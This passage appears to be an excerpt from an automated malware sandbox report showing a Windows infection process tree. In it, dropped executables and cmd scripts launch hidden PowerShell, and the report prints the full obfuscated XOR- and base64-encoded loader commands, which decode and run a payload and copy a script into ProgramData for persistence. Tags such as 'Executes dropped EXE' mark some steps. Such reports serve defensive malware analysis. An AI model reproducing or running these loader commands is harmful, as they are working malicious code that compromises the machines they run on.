ACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAGwAbwBhAGQAZQByAFAAYQB0AGgAKQApACAAJABzAGUAYwByAGUAdAAKACQAbABvAGEAZABlAHIAQgBsAG8AYwBrACAAPQAgAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABsAG8AYQBkAGUAcgBQAGwAYQBpAG4AKQAKACYAIAAkAGwAbwBhAGQAZQByAEIAbABvAGMAawAgAC0AUwBlAHIAdgBlAHIAVQByAGwAIAAkAFMAZQByAHYAZQByAFUAcgBsACAALQBSAG8AbwB0ACAAJAByAG8AbwB0AA=="6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yzfwynsk\yzfwynsk.cmdline"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF76.tmp" "c:\Users\Admin\AppData\Local\Temp\yzfwynsk\CSC36E4CC1E38A640D79D226DC5EB5B11.TMP"8⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exesetup.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Installer_91473f.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\rmc.exermc.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c file_57593b4d53209e53.cmd4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=20-21;$ynpgMn=''zVd1sAa8IMhP9'';$gnH02VdZL=''ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82'';$d6nE5VQ=''THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4'';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, ''$oxpOOAFdB'', ''''));$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'''') $pFbzO7i7\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\a\file_57593b4d53209e53.cmd' -Destination 'C:\ProgramData\WindowsKeysManger.bat'5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=20-21;$ynpgMn='zVd1sAa8IMhP9';$gnH02VdZL='ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82';$d6nE5VQ='THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, '$oxpOOAFdB', ''));$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'') $pFbzO7i7"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ox1r0prd\ox1r0prd.cmdline"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87CA.tmp" "c:\Users\Admin\AppData\Local\Temp\ox1r0prd\CSC8185295AD8034711A9554DC8CB3AC8CD.TMP"8⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wrfgdfjdse.bat" "7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 708⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c file_670cab8529ccb18e.cmd4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=20-21;$ynpgMn=''zVd1sAa8IMhP9'';$gnH02VdZL=''ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82'';$d6nE5VQ=''THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4'';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, ''$oxpOOAFdB'', ''''));$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'''') $pFbzO7i7\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\a\file_670cab8529ccb18e.cmd' -Destination 'C:\ProgramData\WindowsKeysManger.bat'5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=20-21;$ynpgMn='zVd1sAa8IMhP9';$gnH02VdZL='ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82';$d6nE5VQ='THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, '$oxpOOAFdB', ''));$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'') $pFbzO7i7"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g3p54z5j\g3p54z5j.cmdline"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FAA.tmp" "c:\Users\Admin\AppData\Local\Temp\g3p54z5j\CSC99BA474779F549FBA7AA83B0B5B1B7B4.TMP"8⤵
-
-
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c file_457316565c5d19a2.cmd4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=17-56;$yIAnYBp=''k5XwE8pj'';$chwoge=''cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5'';$a8hABT30=''XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4